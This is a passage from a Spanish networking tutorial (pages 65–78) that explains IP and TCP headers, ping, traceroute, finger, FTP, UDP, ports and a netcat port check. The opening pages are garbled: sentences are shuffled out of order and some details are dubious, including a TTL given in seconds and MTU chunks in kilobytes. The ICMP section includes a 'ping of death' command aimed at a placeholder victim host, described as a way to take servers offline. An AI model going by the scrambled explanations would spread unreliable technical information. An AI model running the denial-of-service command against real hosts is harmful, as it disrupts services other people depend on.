previamente especificados. Es de un máximo de 65536 bytes. Longitud de la cabecera en palabras de 32 bits. Distintos bits que dependendiendo de su valor. en una bandera activa en la función de un programa de ajedrez. Longitud de todo el datagrama. que es la unidad de fragmento elemental.

una entidad que más tarde usa los datos. Con el comando tracert podemos ver estos pasos: tracert www. En C:\winnt\system32\drivers\etc\protocol o en etc/protocols podemos encontrar la lista de protocolos que soporta nuestro Sistema Operativo junto con el número que lo especifica. El checksum es un valor que es calculado por una función que depende del contenido de un objeto de datos y es almacenado o transmitido conjuntamente con el objeto. existen maquinas mediadoras en la comunicación que reciben los paquetes y analizan las direcciones IP. Los sistemas de cómputo y las redes utilizan sumas de control (y otros mecanismos) para detectar cambios accidentales en los datos. el router analiza la cabecera. no son buenas contramedidas para ataques activos. El campo de protocolo indica la capa de transporte a la que debe entregarse. a la hora de volver a aplicar la función. Las funciones de suma de control. Una vez que la capa de red ha ensamblado un datagrama. Para tener la confianza de que un objeto de datos no ha sido cambiado. puede calcular una suma de control y la puede comparar con la suma de control que se guardó o transmitió con el objeto. Header Checksum: Checksum de la Cabecera (Suma de Control). necesita saber qué hacer con él. UDP o algunos más. es ignorado y se envía de regreso un paquete de aviso al host de origen. Esto es. Puede ser TCP. Se llaman Routers y esta es su única función. el router tiene una tabla parecida a esta: Aquí se ve que el router ADSL enviará al router del PC destino un paquete cuya dirección IP no pertenezca a la LAN actual. Es un contador que va decrementándose a cada paso por un host. Si se cambiase la cabecera. por sí mismas. Cuando los paquetes llegan a la capa IP. El proceso de saltar de un router a otro buscando el camino que llegue hasta la PC destino. veremos que por defecto. Para protegerse en contra de ataques activos. Lo único que tiene que hacer el router es entregarlo a la máquina. puede constar de varios pasos. Recordando un poco la analogía del correo que usamos para ejemplificar la transmisión de datos a través de la Red. con el objeto de detectar cambios en esos datos. Verifica que en el camino no se ha modificado ningún dato.TTL (Time To Live): Tiempo de Vida. La numeración de protocolos es global en toda la Internet y se define en la RFC 1700. el tiempo de vida es de 128 segundos. el resultado sería distinto. la integridad del paquete. Si llega a cero el paquete se vuelve prescindible. sabemos que existen oficinas de correos a donde llegan las cartas y de ahí se redirigen a su destino final. Es el resultado de una función matemática aplicada a la cabecera del paquete. Del mismo modo.google. Si usamos el comando ping. Internamente. la función de suma de control necesita ser elegida cuidadosamente y el resultado de la suma de control necesita ser protegida criptográficamente. por lo que se podría cuestionar la integridad y veracidad de los datos transmitidos. Protocol: Protocolo. 65 .com.

o hacer caso a la dirección origen real. pero las más de las veces hay que pagar extra al ISP para obtener una. Estando en Internet podemos visitar www.dirección. que al ser modificada por el proxy. las fijas y las dinámicas.com. 16PING Packet INternet Groper (Buscador de Paquetes de Internet) Programa que se utiliza para comprobar si un destino está disponible. que debe ser diferente. sin embargo. Otras páginas. Una forma de detectar nuestra dirección IP real y si estamos siendo “proxeado” por alguna máquina de Telmex u otra compañía. www. Pero hay que notar que dependiendo de la compañía de teléfonos. mostrará la configuración del protocolo IP en nuestra máquina. Por consiguiente. Ping www. es visitar www.com mostrará la IP del proxy por el cual nos haya tocado pasar en ese momento. En definitiva. queda registrada en un campo distinto. Hablaremos más al detalle acerca de los proxies más adelante en este documento. Estas van cambiando ya sea cada vez que el usuario se conecta al internet. Lo que sucede es que la compañía hace pasar a todos por unas computadoras que guardan en memoria las páginas que más visitan las personas.org/detectaproxy. que es modificado por el proxy con su propia dirección. puede ser que la IP no coincida con la que se tiene configurada en la máquina. Depende entonces de lo estricto del funcionamiento del servidor que muestre una u otra. El  término se utiliza también coloquialmente: "Haz un ping al host X a ver si funciona".whatismyip. o apagando el router y esperando alrededor de 5-15 minutos para volverlo a encender.com Para saber la propia dirección ejecutaremos desde una consola: Ipconfig /all Pero desde Linux hay que teclear desde una terminal: Ifconfig -a Esto mostrará tanto nuestra IP interna (de nuestra LAN. si la hay) y la que tenemos de cara al mundo del Internet. nos informarán que nuestra IP es realmente la que está configurada en nuestra PC. Esto es porque la Cia. Las direcciones IP fijas nunca cambian.php Hay que saber también que existen dos tipos de direcciones IP. Esto es porque el servidor puede hacer caso al campo “origen” del paquete.Para saber la dirección IP de un servidor web usa el comando ping16.[Fuente: RFC1208]. De Teléfonos puede estar utilizando proxies con el fin de ahorrarse dinero y ancho de banda.  66 .whatismyip. Las más utilizadas son las dinámicas y que son proveídas por el Proveedor de Servicios de Internet (ISP por sus siglas en inglés -Internet Service Provider).internautas.

Uno de sus objetivos es corregir los mayores defectos de IP y le proporciona todas las funciones necesarias para que las personas se puedan comunicar tal y como lo hacemos a través de las redes hoy en día. y así va conociendo y diferenciando el tipo de datos. Esto ocasionaría problemas dado que el cartero o el mensajero tendría que colocar uno o dos en el buzón y los demás en el suelo. se amolda al receptor más lento. etc. Segundo. que los mee el poco amistoso perro pitbull del vecino. TCP asigna un número a cada diálogo simultáneo y otro al paquete que pertenece al archivo. se los roben o en el peor de los casos. Un ejemplo que podríamos usar es cuando pedimos una colección enciclopédica que se nos envía cada tomo de uno por uno. Entre sus mayores características está el preocuparse por si los paquetes llegan o no. Un segmento consiste en una cabecera TCP fija de 20 bytes (más una parte opcional) seguida de ceros o más bytes de datos. un puerto es un campo en el protocolo TCP que permite identificar el servicio al que va destinado cada paquete. cada red tiene una unidad máxima de transferencia. El software de TCP decide el tamaño de los segmentos. sabe que pertenece al puerto 25 cuyo servicio es el SMTP. Diferente sería que nos enviarán toda la colección en una sola emisión. En un host que opera a toda velocidad en una LAN de 10 Mbps. TCP es un protocolo con ventajas y desventajas. aparte de verificar las confirmaciones de llegada. incluida la cabecera TCP. Las maquinas poseen un “buzón” virtual que. Para resolver este problema. tiene un tamaño predeterminado que es suficiente para que quepa uno de los tomos. En una conexión entre dos máquinas. con el peligro de que se ensucien. puede acumular datos de varias escrituras para formar un segmento o dividir los datos de una escritura en varios segmentos MTU (Maximum Transfer Unit) Existen dos límites que restringen el tamaño de los segmentos. Es considerado un protocolo pesado porque sí esta orientado a la conexión. Estos números de que hablo son los puertos. El problema es que consume muchos recursos de red debido a que se deben dar muchos pasos para establecer la comunicación. encargado de la transferencia por E-mail. por ejemplo. debe caber en la carga útil de 65535 bytes del IP. Segmentos La entidad TCP transmisora y la receptora intercambian datos en forma de segmentos. cada segmento. partir los paquetes en trozos más pequeños para que estas confirmaciones puedan llegar poco a poco y no tener que retransmitir todo en caso de no llegar la confirmación. pero en la práctica tarda mucho más tiempo. nos da la posibilidad de chatear y enviar archivos al mismo tiempo. cada vez que una máquina reciba un paquete con el número 25. Se usan los números de secuencia para los acuses de recibo (ACKs). Cada byte de conexión TCP tiene su propio número de secuencia de 32 bits.) TCP requiere saber qué paquetes pertenecen al diálogo y cuales al archivo en transmisión. Así. el router de la frontera fragmenta el segmento en dos o más segmentos pequeños.TCP (Protocolo de Control de Transmisión) TCP (Transmission Control Protocol) es el complemento ideal de IP. y cada segmento debe caber en esta MTU. Esto lo hace mediante bits de respuesta y reconocimiento que son devueltos por parte del receptor. de manera que no le agobie con demasiados paquetes. En teoría los números de secuencia podrían volver a comenzar en una hora. Posteriormente revisaremos los detalles de los puertos. Primero. también aprende dinámicamente sobre la marcha los retrasos que sufre la red y adapta sus funciones según el tráfico. o MTU. El TCP es útil cuando la información transmitida es muy grande ya que tiene la capacidad de. como en la analogía del buzón de nuestra casa. Una de las ventajas del TCP es que permite las conexiones simultáneas (por ejemplo. Si un segmento pasa a través de una serie de redes sin fragmentarse y luego se topa con una cuya MTU es menor que el segmento. 67 .

por lo que se ignora el campo de número de acuse de recibo. 68 . El que este campo haya sobrevivido por casi dos décadas da testimonio de lo bien pensado que está el TCP. TCP lo divide en tres trozos de 1500 Kb cada uno y. Uno indica el puerto de donde se emitió el paquete y el otro informa el puerto de entrada al lugar receptor. indicando que ha recibido de manera correcta el anterior y está preparado para recibir el siguiente. ACK: Acknowledge (o acuse de recibo). el 3000. Si un archivo mide. Confirmación: También se le conoce como número de reconocimiento. Flags (banderas): Son los tríos de letras en la gráfica y cada bandera es de 1 bit. Vamos a revisarlos a continuación: URG: Si está a 1 indica que existen datos urgentes que transmitir. Longitud de cabecera TCP: Es el número de palabras de 32 bits de la cabecera. el primer trozo tendrá el número de secuencia 0. pero según las limitaciones de la MTU de la red sólo se aceptan trozos más pequeños. Representa el numero de secuencia que el receptor espera. Una peculiaridad es que no se enumera según el número de trozo. el 1500. para seguir la secuencia les asigna un número de secuencia. el segmento no contiene un acuse de recibo. Si el ACK es cero. Normalmente está activo.Aspecto del paquete TCP Vamos a ver de que partes se componen los paquetes TCP. En el PUNTERO URGENTE va el número de secuencia del paquete donde empiezan estos datos y sirve para indicar un desplazamiento en bytes a partir del número actual de secuencia en el que se encuentran datos urgentes. El bit ACK Indica que el número de acuse de recibo (o de confirmación) es válido. el segundo. Así. y el tercero. Número de secuencia: Cada trama se numera individualmente. por ejemplo 4500 Kb. Los paquetes TCP son algo así: Las dos primeras partes se entienden. excepto al inicio de la comunicación. sino según el número de byte del archivo con el que empieza ese trozo. Es necesario porque el campo “opciones” puede ser variable en longitud y hace falta que el receptor conozca el largo del paquete.

Cuando se ha enviado el primer paquete. La solicitud de conexión tiene los bits SYN = 1 y el ACK = 0 para indicar que el campo de acuse de recibo incorporado no está en uso. los datos. El valor está presente en todos los paquetes para evitar la saturación. Reinicia o restablece una conexión que se ha confundido debido a una caída del host u otra razón cualquiera. 69 .PSH: De PUSH. Indica que el emisor ya no tiene más datos que transmitir y se libera una conexión. no se puede confirmar el anterior porque simplemente no existe. El algoritmo de suma de comprobación simplemente suma todas las palabras de 16 bits en complemento a 1 y luego obtiene el complemento a 1 de la suma. Ventana: Para el control de flujos. Opciones: Comunica tamaños de buffer (tipo de memoria) durante la apertura de conexión. navegador web) comience a tratarlos. que explicaré más adelante. SYN: De Sincronización. incluído el campo de checksum. Si el valor es cero (0). Como consecuencia. el resultado debe ser cero. Este bit indica datos empujados. Si está activo. en especial. se establece el campo checksum del TCP en cero. y se rellena el campo de datos con un byte cero adicional en caso de que la longitud sea un número non. Por lo general. juega un papel preponderante en los ataques DoS. si recibimos un segmento con el bit RST encendido. EOM: Aunque no aparece en la gráfica. significa que no puede alojar más datos en su espacio reservado y que el emisor debe “esperar” un poco y darle un descanso al receptor. el bit SYN se usa para denotar connection request y connection accepted (petición de conexión y conexión aceptada) y se usa el bit ACK para distinguir entre ambas posibilidades. FIN: De finalizar. empujar. En esencia. Al realizar este cálculo. Así no cabe duda sobre la confirmación del primer paquete. cuando el receptor realiza el cálculo con el segmento completo. indica el final del mensaje. Sirve para mejorar el rendimiento total. significa que tenemos un problema. Tanto el segmento FIN como el SYN poseen números de secuencia. Cuando dos dispositivos se comunican a través de TCP. Con este flag se evita la confusión ya que indica que es el primero y lo que se está pidiendo realmente es la autorización para comenzar una conexión. Checksum: Suma de control (también conocida como suma de comprobación) de todos los datos en bloques de 16 bits. Por este medio se solicita al receptor entregar los datos a la aplicación a su llegada y no coocarlos en memoria intermedia (o buffer -Búfer) hasta la recepción de un búfer completo RST: De Reset. Es una suma de comprobación de la cabecera. Indica que la máquina que lo recibe debe prepararse para una conexión. Está solo activo al principio de la comunicación. reservan un poco del espacio (memoria) para ir almacenando datos que le llegan antes de que la aplicación que se ocupa de ellos (servidor de correo. etc. También sirve para rechazar un segmento no válido o un intento de abrir una conexión. El campo SYN.

Este comando se usa de la siguiente manera: finger [username]@host_name C:> finger kumquat@smcvax. September 17. Un uso común es determinar la dirección IP del sistema host a partir de su nombre o el nombre del host partiendo de la dirección IP.19 0.35.smcvt. Este comando dió nacimiento a un verbo en inglés: “fingering someone”.182] SMITH Lorraine Smith PINE.16 0. ping utiliza una serie de mensajes Echo ICMP para determinar si un host remoto está activo o no.edu [smcvax.smcvt.21 User Personal Name Subsys Terminal Console Location GOODWIN Dave GoodwinLYNX 6.34.NTY3 [199. C:> finger @smcvax. Debemos poner el nombre del host o su dirección IP y el programa responderá con la dirección IP o el nombre del host. que nada tiene que ver con mostrar insultativamente el dedo medio a nadie.edu] Tuesday.edu [smcvax. Con exit se sale de la aplicación. 1996 10:12AM-EDTUp 30 09:40:18 5+1 Jobs on SMCVAX Load ave 0.NTY4 [199. Se puede emplear para examinar las entradas en la base de datos del DNS que pertenece a un host o dominio particular. ping La herramienta ping siempre va junto con los paquetes de software TCP/IP.TXA5 HELPDESK System Manager EDT2:08.smcvt. El comando sería como sigue: nslookup [IP_address|host_name] Si se ejecuta el programa sin ningún parámetro el programa los pedirá.edu JATJohn Tronoantelnet1. Graduate College INTERNET: kumquat@smcvt.93.139] SYSTEMSystem Manager MAIL 23.smcvt.smcvt. finger El programa finger puede ser usado para averiguar quién está conectado en otro sistema o para conocer información detallada acerca de un usuario específico.Utilerías TCP/IP En esta sección veremos algunas de las herramientas que vienen en muchos de los paquetes de software de TCP/IP disponibles y que permiten el acceso a una amplia gama de información de la red. Kessler Adjunct Faculty Member.OPA0 The VAX Console *DCL* SMCVX1$OPA0 The VAX Console 70 . Una herramienta más moderna es hping2 que la repasaremos más adelante y que la usaremos en varios otros ejercicios.edu] KUMQUAT Gary KesslerKUMQUAT not logged in Last login Fri 16-Sep-1996 3:47PM-EDT Plan: Gary C.93.NTY2 waldo.edu En este ejemplo nos muestra el resultado de apuntar (to finger) a un usuario en un sistema remoto. nslookup nslookup es un programa buscador de nombres de servidores que vienen en muchos de los paquetes de software TCP/IP.

En este segundo ejemplo nos informa el resultado de un finger a un sistema remoto. FTP FTP (File Transfer Protocol -Protocolo de Transferencia de Archivos). también puede ser usado para aprender acerca de la siempre cambiante estructura del Internet. Es un servicio que Internet ofrece para poder enviar y recoger archivos a través de la red. el administrador haya configurado el sistema para que responda a un finger. Lo más habitual es que los usuarios particulares utilicen programas clientes de FTP para conseguir programas albergados en servidores FTP El formato general del comando FTP es: ftp [IP_address|host_name] 71 . FTP permite a los usuarios cargar y descargar archivos entre hosts locales y remotos. Dado que estos datagramas tratan de acceder a un puerto inválido en el host destino. El programa traceroute muestra el retardo en el viaje de ida y vuelta asociado con con cada intento. de las cuales. este router responderá entonces con un mensaje ICMP de tiempo excedido (TEM) indicando que el datagrama ha expirado. la primera se describirá más adelante en este documento. El comando posee el siguiente formato general (donde # representa un entero positivo asociado con el calificador): traceroute [-m #] [-q #] [-w #] [-p #] {IP_address|host_name} En este ejemplo: -m es el máximo valor TTL permisible. Usando la configuración por defecto. Se envían luego 3 mensajes UDP con el campo de TTL puesto a 2. se envían de regreso mensajes ICMP Destination unreachable. lo que causa que el segundo router envíe como respuesta otro TEM. que indican que el puerto no puede ser alcanzado. Otras dos herramientas son el telnet y el FTP. traceroute traceroute es una utilería que nos permite conocer la ruta que los paquetes toman desde su host local hasta el host destino. entre computadoras conectadas a la red. Da una lista de los procesos activos en el sistema o cualquier otra información dependiendo de cómo. Hay que notar que existen implementaciones en el traceroute que usan una opción de registro de ruta en IP en vez del método descrito anteriormente. Toda conexión FTP implica la existencia de una máquina que actúa como servidor y un cliente. El FTP anónimo está disponible en sites que permiten a los usuarios acceder a archivos sin tener que crear una cuenta en el host remoto. Este proceso continúa de forma indefinida hasta que los paquetes lleguen a su destino. Los administradores de sistemas y de red lo emplean para depuración. Poner este campo a 1 causa que el el tiempo de espera del datagrama llegue a cero justo al llegar al primer router en el camino. medido como el número de saltos permitidos antes de que el programa detenga su ejecución (default = 30) -q es el número de paquetes UDP packets que serán enviados (default = 3) -w es la cantidad de tiempo en segundos a esperar por una respuesta de un particular router (default= 5) -p es la dirección de puerto inválida en el host remoto (default = 33434) La versión original de traceroute funciona enviando una secuencia de datagramas UDP a una dirección de puerto inválida a un host remoto. se envían tres datagramas con un valor de campo TTL (Time-To-Live) puesto a 1.

zip o . sonidos y vídeo digitalizado.sit para Macintosh. . Como es obvio. En Internet existen millones de archivos distribuidos en miles de computadoras. borrar.) con el objeto de ocupar el menor espacio posible tanto en el disco como en la transferencia. etc. en este caso no se necesita una contraseña (password) para entrar en la computadora remota. La gran mayoría tienen extensión . textos. Archivos Binarios: Son todos los archivos que no entran en la categoría ASCII. cualquier tipo de archivo que este comprimido y procesadores de texto avanzado (Word Perfect. Existen muchos programas de este tipo pero todos poseen las mismas características y opciones que básicamente son Upload (copiar al servidor). Clientes de FTP Con el nombre de clientes de FTP se conocen a los programas para acceder al FTP. la dirección de correo electrónico. Estos archivos pueden ser documentos. Se pueden enviar o recibir toda clases de archivos.gz para UNIX. conteniendo todo tipo de datos e información. programas. Estos archivos manejan 8 bits como un byte. Es muy importante configurar ésta característica en el programa cliente que se esté utilizando puesto que la transferencia de archivos sin la configuración correcta modifica la estructura del archivo dañando su contenido. Download (copiar desde el servidor hacia el usuario). sonidos. El FTP y los archivos Al trabajar con servidores FTP los archivos son clasificados en dos categorías: Archivos de texto: son aquellos archivos en texto plano que sólo están formados por caracteres ASCII. que pueden ser copiados libremente usando FTP. aunque lo normal es que los archivos de los servidores se encuentran comprimidos (formatos . se conoce con el nombre de FTP anónimo.. Word for Windows.). software en general.Hay que tomar en consideración que diversos paquetes FTP pueden traer diferentes comandos. He aquí algunos de estos programas: RFtp 98 WS_FTP FTPWolf CuteFTP WS_Archie 72 .tar o . basta con poner como identificador la palabra anonymous y como password. Anonymous FTP El FTP es un programa que funciona con el protocolo TCP/IP y que permite acceder a un servidor de este sistema de intercambio para recibir o transmitir archivos de todo tipo. imágenes. . Inclusive comandos similares pueden tener efectos distintos.txt. etc.hqx o . etc. Work. El procedimiento mediante el cual se accede a una computadora para copiar archivos en forma libre y sin restricciones. Como por ejemplo archivos de imágenes.arj para PC.

1:      Paquetes: enviados = 4.  Tiempos aproximados de recorrido redondo en milisegundos:      mínimo = 0ms.0. perdidos = 0 (0% loss).      Tiempo de espera agotado de respuesta en milisegundos.El Protocolo de los Pings: ICMP ICMP (Internet Control Message Protocol) es un protocolo sencillo que sirve para controlar el estado de la red. Los datos sobre ICMP son enviados dentro de paquetes IP. promedio =  0ms  Solicita eco al host hasta ser interrumpido.0. forma parte del protocolo IP.0.      Resuelve direcciones a nombres de host. Básicamente se le envia un paquete a un servidor y este nos contesta.0.0. por ejemplo.      Registrar la ruta para esta cantidad de saltos. es decir.      Tiempo de vida. Las opciones de ping en Winxx son como sigue: Uso: ping [­t] [­a] [­n cantidad] [­l tamaño] [­f] [­i TTL] [­v TOS]  [­r cantidad] [­s cantidad] [[­j lista de host] | [­k lista de host]]  [­w Tiempo de espera agotado] lista de destino   Opciones:      ­t ­a ­n cantidad ­l tamaño ­f ­i TTL ­v TOS ­r cantidad ­s cantidad ­j lista de hosts ­k lista de hosts ­w tiempo C:\ping 127.0. por lo que se produce un datagrama del ping muy grande y producira su caida.11 con 32 bytes de datos:   Respuesta desde 127.0.      Tipo de servicio. informando sobre si las computadoras están encendidas (Nota: se pueden configurar para no responder a estos pings.0. Cada Sistema Operativo soporta ping tecleando ping <IP> en el Interprete de Comandos.      Ruta origen estricta en la lista de host. Para ver estadísticas y continuar: presione Ctrl­Inter. solo que si se le envia un paquete muy grande puede llegar desordenado. Recibidos = 4.1 Haciendo ping a 127.      Ruta origen variable en la lista de host. ping (Packet Internet Groper) se usa para ver si una dirección IP particular esta activa en caso de que la computadora esté encendida y también para resolver direcciones a nombres de hosts.1: bytes=32 tiempo<10ms TDV=128 TDV (Tiempo de Vida = TTL) Estadísticas de ping para 127. máximo =  0ms. La utilidad Ping sirve principalmente para saber si un servidor esta activo y ademas podemos calcular el tráfico en la red según el tiempo de su respuesta. Para interrumpir: presione Ctrl­C. 73 . Es capaz de dar un informe fiable sobre la condición de la red.) ping En Winxx se puede usar el pequeño programa ping.      Registrar horarios para esta cantidad de saltos. por lo que el servidor pide al origen que le vuelva a enviar una parte o la totalidad del paquete.      No fragmentar el paquete.      Cantidad de solicitudes de eco a enviar.      Tamaño del búfer de envíos.

las opciones del comando son: ~$ ping ­h Usage: ping [­LRUbdfnqrvVaA] [­c count] [­i interval] [­w deadline]             [­p pattern] [­s packetsize] [­t ttl] [­I interface or address]             [­M mtu discovery hint] [­S sndbuf]             [ ­T timestamp option ] [ ­Q tos ] [hop1 .0.0.0.0.0. 0% packet loss.006 ms Ping de la Muerte Es una técnica usada por crackers que lo usa para tirar un servidor del Internet y esto representa grandes perdidas a una empresa.com Esta simple linea es altamente destructiva.101/0.1 ping statistics ­­­ 2 packets transmitted. time 5000ms rtt min/avg/max/mdev = 0.. 64 bytes from 127.097/0.. En éstos últimos años ya ha dejado de ser un problema y no es más que un suceso anecdótico gracias a la protección de los cortafuegos.0.] destination ~$ ping 127. 6 received.Con la opción -a se pueden resolver las direcciones a nombres de host.1 PING 127.103/0.0. En Linux.0. Para ejecutar este ataque solo tenemos que escribir en Winxx : C:\>ping -l 65510 victima.102 ms ­­­ 127.100 ms 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.0.1 (127.1) 56(84) bytes of data.1: icmp_seq=2 ttl=64 time=0.0. 74 .

el Limewire. si se utiliza TCP. lo que haría más lenta la descarga. se vuelve menos segura debido a que no implementa mecanismos que nos puedan garantizar que un paquete vaya a llegar a su destino. También es orientado a puertos. ¿Porqué existen tanto TCP como UDP en vez de uno solo? La respuesta es que ambos proveen servicios diferentes. De hecho se puede apreciar que los paquetes son muy parecidos. al querer abrir el comprimido. Muchas de las aplicaciones fueron creadas para usar uno u otro. Al igual que el protocolo TCP del modelo TCP/IP. UDP no mantiene una conexión de extremo a extremo con el módulo UDP remoto. pero en Internet se convierte en un problema debido a los distintos dispositivos que tiene que recorrer la información. Para qué tanto problema. UDP se usa cuando el TCP resulta demasiado lento o complejo. el UDP pertenece también a la capa de transporte. Si son 24 cuadros (frames) iguales no importaría que faltarán 2 ó 3. y el protocolo TFTP (Trivial File Transfer Protocol). ya que si deseamos descargar un archivo tipo ZIP o RAR de 9 Mb. Regularmente. se diferencia del TCP en que NO está orientado a la conexión. Lo complicado ocurre en archivos compartidos. Como programadores tenemos la libertad de escoger el que más se adapte a nuestras necesidades. El protocolo UDP. si llega a faltar un trozo. mientras más rápida sea. lo que significa que la comunicación.) En el ejemplo de ver una emisión de video. el Ares o el eMule. Con UDP esto no pasa porque en una emisión de video no importa que falten trozos del video. El mayor exponente del uso del UDP es el protocolo DNS para resolver direcciones IP en nombres (y viceversa). UDP tampoco se hace responsable de que dos paquetes lleguen en el mismo orden en que fueron enviados.El Protocolo UDP UDP (User Datagram Protocol) o Protocolo de Datagrama de Usuario es un protocolo que también proporciona acceso a servicios basados en IP. Usos del Protocolo UDP El protocolo UDP se usa mucho para la emisión de video por Internet o para los programas tipo P2P (de intercambio de archivos como el Kazaa. En virtud de que es un servicio no orientado a la conexión. mejor usamos TCP. Si faltan uno o dos cuadros no se notan los gaps (o vacíos de imagen). el protocolo trataría en cada momento de verificar que cada paquete llegue a su destino. entre otras cosas. mientras nos de la impresión de una imagen en movimiento continuo. Simplemente empuja un datagrama hacia la red y acepta los datagramas entrantes desde la misma red. el programa marcará un error. las aplicaciones P2P son las que hacen las comprobaciones necesarias y así asegurar la llegada y el orden de los datos a su destino. Esto no se aprecia en redes tipo LAN donde es muy poco probable que se pierdan paquetes. Se usa para aplicaciones que no necesitan la asignación de secuencia ni el control de flujo del TCP y que desean utilizar los suyos propios. 75 .

168. Cuando a los empleados con número se les convoca a escuchar se convierten en procesos y es en este momento en que se les conoce como servidores. El que el empleado 80 hable HTTP y el 21 solo atienda cuestiones que traten sobre FTP son estándares impuestos por los “jefes”. Cuando a estos empleados se les convoca a hablar se convierten en procesos y desde ese instante son conocidos como clientes. el empleado con el número 80 está especializado en atender a los que requieren HTTP. Por ejemplo. 76 . escucha. En la página 63 se explicó cómo es la estructura de las direcciones IP y en otros apartados se han mencionado los puertos. Son elegidos aleatoriamente para que vayan a preguntar a otros empleados. Consideremos una red como si fuera una gigantezca oficina en la que hay 65536 empleados. Relacionando los datos anteriores con la filosofía cliente-servidor podemos usar una alegoría que permitira entender cabalmente como funciona la comunicación entre máquinas. el 21 a quienes necesitan FTP. el 80 es el número que especifica a un puerto en particular de una computadora o un host. Los primeros 1024 empleados tienen su función bien definida. pero es en este capítulo donde nos detendremos a explicar un poco de que trata todo esto y a relacionar ambos. es decir. Este empleado gestiona los recursos del lenguaje que hablen los peticionarios. Todos tienen asociado un número y los programas los convocan a trabajar de este modo: Puerto (123.Los Puertos Casi todos los protocolos se apoyan en el protocolo TCP/IP. cada uno trata un tema distinto y están especializados en atender a los que les vienen a pedir o preguntar. host:123) Esto significa: el empleado con el número 19344 deberá hablar con el señor que atiende en el dispositivo host (otra oficina) número 123. La distinción de este rango depende en gran medida del fabricante del software (Microsoft. cada uno especializado en una área en particular. También pueden trabajar de esta otra manera: Puerto (19344. pero pueden servir igualmente como clientes. realizan peticiones de servicios a los servidores. programa) Lo anterior significa que el empleado con el número 123 se ponga a escuchar y atienda solo a los que hablen el lenguaje del programa. Pueden incluso hablar cualquier idioma y a través de ellos podemos ir a otros puertos en otros hosts para pedir información que al sernos entregada podremos procesarla adecuadamente. habla. Linux. Están especializados en servir a otras personas que vienen con la intención de hablar. etc) El resto de los empleados hasta el 65536 no tienen ninguna especialización.1:80 Esto indica una dirección IP. Vamos a considerar la siguiente ristra de números: 192. A partir del empleado 1024 hasta el 49151 se les puede considerar servidores de algún lenguaje y tienen funciones parecidas a los menores. escuchan y proporcionan un servicio simultáneo. Después de los dos puntos (:). BSD. son el grueso de la población de la oficina imaginaria.0.

Las tareas que tiene asignadas el servidor son básicamente tres. Un puerto abierto sin nadie que gestione la conexión detrás es inútil. Son un concepto. como el serie y el paralelo y era donde se conectaba la impresora y el ratón. es necesario un proceso servidor y un proceso cliente.  77 . Cliente El cliente es el proceso que se ejecuta en la misma computadora (algunas veces en una computadora distinta) y es el que realiza las operaciones de petición al servidor. Se podría decir que la conexión que abre el servidor es más pasiva ya que solo se dedica a escuchar. en vez de ser una oreja se convierte en boca. tales como  puertos. Un puerto no es algo físico. escuchar. opciones. Podemos imaginarnos que un puerto es una gran oreja esperando escuchar las peticiones por parte de sus clientes. 17(Agencia de Asignación de Números Internet) Antiguo registro central de diversos parámetros de los protocolos Internet.Los distintos empleados que componen este circuito de que hemos hablado son los puertos. socket() Elige y abre el puerto bind() Enlaza el puerto a una aplicación servidor.iana. Normalmente son los puertos superiores a 1024. Fue sustituido en 1998 por ICANN. si ningún cliente se le conecta. el número 22 se asignó al puerto que gestiona SSH. Ambos procesos pueden estar ejecutándose en la misma computadora y comunicarse perfectamente. Podemos decir que la conexión que abre el cliente es más activa debido a que se encarga de traer al cliente la información que el servidor le prepara. Esto lo hace también desde un puerto que. sino virtual. Los valores asignados aparecen en el documento Assigned Numbers  [STD2]. por ejemplo. Al igual que con los servidores. Es capaz de atender concurrentemente una gran cantidad de peticiones simultáneas. el 25 a smtp y del 135 al 139 para la netbios. Para que el modelo que acabamos de explicar se lleve a cabo. un número y un programa que los define. En una computadora sí existen puertos reales. el puerto 23 para telnet 23. Así mismo se puede decir que la aplicación es dueña del puerto. Así. códigos y tipos. en este caso. Servidor El servidor es el proceso que se ejecuta en un nodo de la red y administra o gestiona el acceso a un determinado recurso y esto lo hace en un puerto. Tienen una función específica tal y como lo mandan los estándares. aunque lo verdaderamente interesante desde el punto de vista de la computadora es establecer comunicación entre procesos cliente y servidor que se encuentren en computadoras distintas. sus gestiones se efectúan en base al programa cliente que tengan asociado. La organización que se encarga de establecer estos estándares es la Internet Assigned Numbers Authority (IANA)17 que se puede revisar en www.org. números de protocolo y empresa. La forma de gestionar depende del programa servidor que tenga asociado. Las tareas básica de los clientes son dos: socket() Elige y abre el puerto connect() Establece la conexión con el puerto servidor. Los puertos del 1 al 1024 también son conocidos como puertos reservados. Esto es más común de lo que parece. listen() Es lo que hace la mayor parte del tiempo.

Lo mismo vale cuando el comando nc del NetCat se usa en Winxx.1.0. existen aplicaciones y programas propietario de fabricantes que solo ellos saben como se comunican. Entre corchetes ([ ]) se verá la dirección IP y entre paréntesis.0. El resto de los puertos hasta el 65536 son los llamados efímeros. porque como se recordará.0. se liberan y pueden ser usados por cualquier otra aplicación o protocolo más tarde. Una cosa que es necesario saber es que los puertos que van del 1025 al 49151 no son estándar. Todo esto se verá en detalle cuando describamos los usos y funciones de una herramient tan útil como el NetCat. En Windows lo podemos encontrar en C:∖winnt∖system32∖drivers∖etc∖services 18Localhost es lo mismo que 127. porque si se suman las conexiones que “escuchan” (como un servidor web. localhost18 indica que debe revisar la máquina propia y los números son los puertos.0. También se conoce como dirección de retrociclo (Loopback). es nuestra propia máquina.1] 25 (smtp) open Aunque no se muestran todos los resultados. son los clientes. por arbitrio. con los parámetros especificados.Todo sistema operativo guarda en un archivo la información necesaria para asociar un puerto a una palabra que lo identifique. Existe en WinNT y en Linux un archivo de texto donde se pueden ver los puertos y su número asignado por la IANA y los servicios a que pertenecen según se definen en el RFC 3232.0. determinados por el propio fabricante.  Se utliliza para la detección de fallas. el programa NetCat nos mostrará los números de puertos abiertos y cerrados (en este ejemplo son los puertos 137 y 25). sin esa cantidad. de este modo. pero la IANA se encarga de asignarlos a distintas aplicaciones que los necesitan. Esto es más que nada por comodidad y para permitirnos recordar a qué servicio pertenece el puerto. 78 . Es de sobra decir que en lugar de localhost debemos teclear la dirección IP a la que deseamos acceder. La opción -vv indica al programa que muestre la información en modo doble verboso (con mayor información que la que se obtendría con una sola -v). De ahí que sean necesarios tantos puertos. Si usamos el NetCat (que describiremos al final del documento con mayor detalle) para que describa los puertos en nuestra propia máquina. No todos son protocolos abiertos que se conozca como funcionan exactamente. pronto nos quedaríamos sin puertos superiores con que comunicarnos con otros servidores. el nombre del servicio. las aplicaciones en vez de mostrar el número 21. aunque estos rangos quedan. si la conexión se cae. solo tenemos que usar el comando nc junto con las siguientes opciones: ~$ nc -vv localhost 137. Se escogen aleatoriamente para establecer desde ellos la conexión a los puertos 